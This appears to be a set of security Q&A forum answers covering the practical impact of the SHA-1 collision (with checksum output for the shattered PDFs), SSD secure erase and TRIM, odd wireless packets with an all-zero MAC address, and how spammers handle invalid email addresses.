Again: you can make the problem harder, but if your architecture requires putting incredibly sensitive information like database passwords onto untrusted computers, you are already screwed.


What are the implications of a SHA-1 collision being found?

Currently, given the specific collision method used, the impact is quite limited. In particular, this method does not allow for an attacker to generate a collision with an existing file, where a SHA-1 hash has been provided. It wouldn't be possible, for example, to use this method to generate a malicious executable file which matched the signature provided on the legitimate distribution website.

It would be possible, in theory, for an attacker to generate two executable files which have the same SHA-1 hash, but perform different things when run. Similarly, it would be possible to generate multiple ISO images which have the same SHA-1 hash. However, in each case, other hash values would not match, and it's common for download sites to provide multiple types of hash (for example, Ubuntu provide MD5, SHA-1 and SHA256 hashes for all downloads). This can be seen with the shattered-1.pdf and shattered-2.pdf files:

# sha1sum shattered-1.pdf
38762cf7f55934b34d179ae6a4c80cadccbb7f0a  shattered-1.pdf

# md5sum shattered-1.pdf
ee4aa52b139d925f8d8884402b0a750c  shattered-1.pdf

# sha1sum shattered-2.pdf
38762cf7f55934b34d179ae6a4c80cadccbb7f0a  shattered-2.pdf

# md5sum shattered-2.pdf
5bd9d8cabc46041579a311230539b8d1  shattered-2.pdf

It may be possible to create a kind of polyglot file which produces the same hash values in both SHA-1 and MD5, but this has not been demonstrated, and would still fail, given, for example, a SHA-512 hash.

Similarly, for any system where a SHA-1 hash is used as a file identifier, it may be possible to get one half of a colliding pair of files into the system, then to swap it out for the other. An example of this would be a backup system which used SHA-1 on a file level for determining whether files had been copied correctly. However, it would be difficult to make a hash of the entire backup contents remain the same in this case, since the malicious file is unlikely to form the prefix for the whole backup file (it's more likely to be something identifying the whole file as a backup).

Overall, therefore, the Google announcement mostly just confirms what had been suspected for a while - SHA-1 is vulnerable to collisions, just as MD5 was, but finding them requires a lot of effort, and most of the really high profile targets (such as generating CA certificates) have mitigation in place from the very similar MD5 collisions found previously. Experts have been advising moving from SHA-1 for a while now, and this advice still stands.

Just as with MD5, however, this doesn't particularly impact the use of HMAC-SHA1, since the specific combination method used in the construction of HMAC values makes this type of collision irrelevant.


If you just want to entirely wipe the disk and start over, ATA Secure Erase is what you want. It's a single command supported by almost all modern SSDs which changes the onboard crypto key (SSDs encrypt all data transparently at the physical level) to make all data on the disk unreadable. The reason for this mechanism existing is that wiping data from SSDs reduces their lifespan, so simply encrypting everything and discarding the old key when you want to start over is much more efficient.

If you're just looking to delete slack space, you don't need to bother. If your OS supports TRIM (Windows 7 and later, iirc) then it is already automatically wiping your slack space for you. TRIM causes unused blocks to be full zeroed in a single step, which means it doesn't cause as much disk wear and makes the disk perform better - SSD bits can only be set individually, but they must be cleared as an entire block, so having a blank slate to work with on unused blocks is faster.

The only downside of TRIM from a security perspective is that it can leak which blocks of data are being used on an encrypted volume, which may be exploited in order to prove the existence of a "hidden volume" configuration if an attacker can take multiple full  snapshots over time. If you're not using hidden volumes on the disk, or your threat model doesn't include repeated low-level access by your adversary, then it shouldn't make a difference at all.


Strange packets coming over wireless, looking for clues

When a network device uses a value 00:00:00:00:00:00 as a MAC-address, it is being used as multicast address, however the request will be proceeded by all devices which would receive it (so the machines in the multicast group).

Your description doesn't provide sufficient detail to otherwise infer what might be happening, however we can guess reasonable restrictions.

It likely isn't an attack since:

an active dictionary building attack on WEP would be obvious through artificial traffic generation and wouldn't appear as multicast
An active attack to inject traffic from an unauthorized mobile station would use its own MAC or decoy another legitimate MAC rather than multicast
An active attack to decrypt traffic targeting your access point wouldn't use a broadcast, but target your access point, and you'd see increased outbound traffic from your access point (the goal being to see it try to initiate connections enough times to crack the WEP key)
A Passive attack would be silent, so go undetected.

Though there's too little to infer exactly what's happening, an educated guess might be access point misconfiguration.  Can you tell us if this behaviour is new, intermittent or what?  (And yes, packet capture some of this if you can and share it)


How do spammers verify the validity of a huge amount of email addresses?

They don't, it takes less work for them to simply send emails out to invalid addresses than it does to weed out the invalid ones.